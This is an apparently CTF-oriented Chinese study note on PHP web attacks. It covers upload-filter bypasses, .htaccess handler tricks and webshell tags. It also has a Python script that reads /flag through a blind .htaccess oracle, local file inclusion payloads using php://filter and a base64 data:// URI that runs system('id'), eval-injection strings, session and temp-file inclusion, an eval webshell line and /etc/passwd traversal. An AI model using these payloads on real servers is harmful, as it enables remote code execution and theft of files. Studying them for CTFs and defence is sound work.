03-WEB-文件操作
文件上传
利用上传的带有php代码文件并被后端php处理
黑名单后缀绕过
使用php3 php4 php5以此类推、phtml并结合大小写
双写绕过
如将黑名单替换为空 pphphp -> php
文件内容绕过
php tag
1.<?php phpinfo();?>
2.<? phpinfo();?> <?='123';?> <?=表示<?php echo
3.<script language='php'>phpinfo();</script>
4.<% phpinfo();%>
webshell
htaccess的使用
AddHandler php5-script .jpg 将.jpg文件按照php代码进行解析执行
AddType application/x-httpd-php .jpg 同上
Sethandler application/x-httpd-php 将该目录及子目录下的文件均按照 php文件解析执行
盲注利用:
<If "file('/flag')=~/^f/">
ErrorDocument 404 "abc"
</If>
import requests
import string
import hashlib
ip = requests.get('ip.....').text
print(ip)
def check(a):
f='''
<If "file('/flag')=~/^'''+a+'''/">
ErrorDocument 404 "abc"
</If>
'''
resp=requests.post("url",data={'submit':'submit'},file={'file':('.htaccess',f)})
a=requests.get('ip/upload/'+ip+"/a").text
if "abc" not in a:
return False
else:
return True
flag="flag{BN"
c=string.ascii_letters+string.digits+"{}"
for j in range(32):
for i in c:
print("chacking:"+flag+i)
if check(flag+i):
flag=flag+i
print(flag)
break
else:
continue
一般思路
首先上传正常图片,抓包,将内容修改为webshell,并将后缀名改为乱码
->若正常发送,则说明为黑名单过滤且对文件内容没有过滤,考虑修改后缀名
->若无法发送,则说明对文件内容进行了过滤或为白名单过滤
->对于文件内容过滤,则考虑更换php tag、使用换行符、加入文件头
文件格式 | 十六进制文件头 | ASCII可读形式 | 说明 |
---|---|---|---|
JPEG | FF D8 FF |
ÿØÿ | 起始标志39 |
PNG | 89 50 4E 47 0D 0A 1A 0A |
‰PNG.... | 固定8字节头69 |
GIF | 47 49 46 38 39(37) 61 |
GIF89a/GIF87a | 89a为动画格式39 |
BMP | 42 4D |
BM | Windows位图9 |
TIFF | 49 49 2A 00 或 4D 4D 00 2A |
II* 或 MM* | 小端/大端存储9 |
->对于白名单过滤,考虑使用.htaccess,先上传.htaccess文件,然后上传正常 后缀名的webshell文件
文件包含与任意文件读取
文件包含
文件包含相关函数:include()、include_once()、require()、require_once()
php伪协议
file:// 访问本地文件系统
http:// 访问HTTP(s)网站
php:// 访问各个输入/输出流
phar:// PHP归档
zip:// 压缩流
php://input
可以访问请求的原始数据只读流,读取没有处理过的POST内容
php://filter可以进行任意文件读取
?file=php://filter/read=convert.base64-encode/resource=index.php
php://filter协议,启动过滤器处理流程
convert.base64-encode,将原始内容转换为base64编码格式
data协议
可以将内容写入file变量中,赋值给file_get_contents读到的内容
data:[数据类型][;base64],<data>
数据类型(如 text/plain
, image/png
)
base64:可选标志,表示数据经过 Base64 编码
data:实际内容(需 URL 编码)
?file=data://text/plain,
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJpZCIpOz8%2b
#例题
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval("var_dump($a);");
show_source(__FILE__);
?>
?hello=);show_source('flag.php'
?hello=);print_r(file("flag.php")
?hello=);var_dump(file("flag.php")
?hello=);include(@$_POST['f']
f=php://filter/convert.base64-encode/resource=flag.php
#var_dump()可以输出变量的类型和值
#eval()可以把字符串按照php代码执行
session文件包含
$SESSION为一个数组,保存着会话信息,session文件通常存储在/tmp或/var/lib/php/session目录下sess[PHPSESSID]
session上传进度,当一个上传在处理时,POST一个session.upload_progress.name(PHP_SESSION_UPLOAD_PROGRESS)同名变量时,上传进度就可以在$_SESSION中获得
同时上传POST请求和上传
<!doctype html>
<html>
<body>
<form action="目标地址" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
</body>
</html>
之后添加Cookie并将PHPSESSID的值设置为任意值,不断发包即可
临时文件包含
短时间内包含临时文件(1.加快自己 2.减慢对方)
直到文件路径(如果有phpinfo页面,对phpinfo发起post文件上传就ok)
方法1 发生错误不再删临时文件
php7.0 file=php://filter/string.strip_tags/resource=/etc/passwd会造成一个segment fault
方法2 自包含
自己包含自己,死循环
<?
file_put_contents('/tem/shell.php','<?php eval($_POST[0]);?>');
?>
任意文件读取
任意文件读取漏洞是指应用程序在读取文件内容时,攻击者能够通过构造特殊的路径参数,访问并读取服务器文件系统中本不该被访问的敏感文件。
如:../../../../etc/passwd
双写绕过、URL编码绕过等
`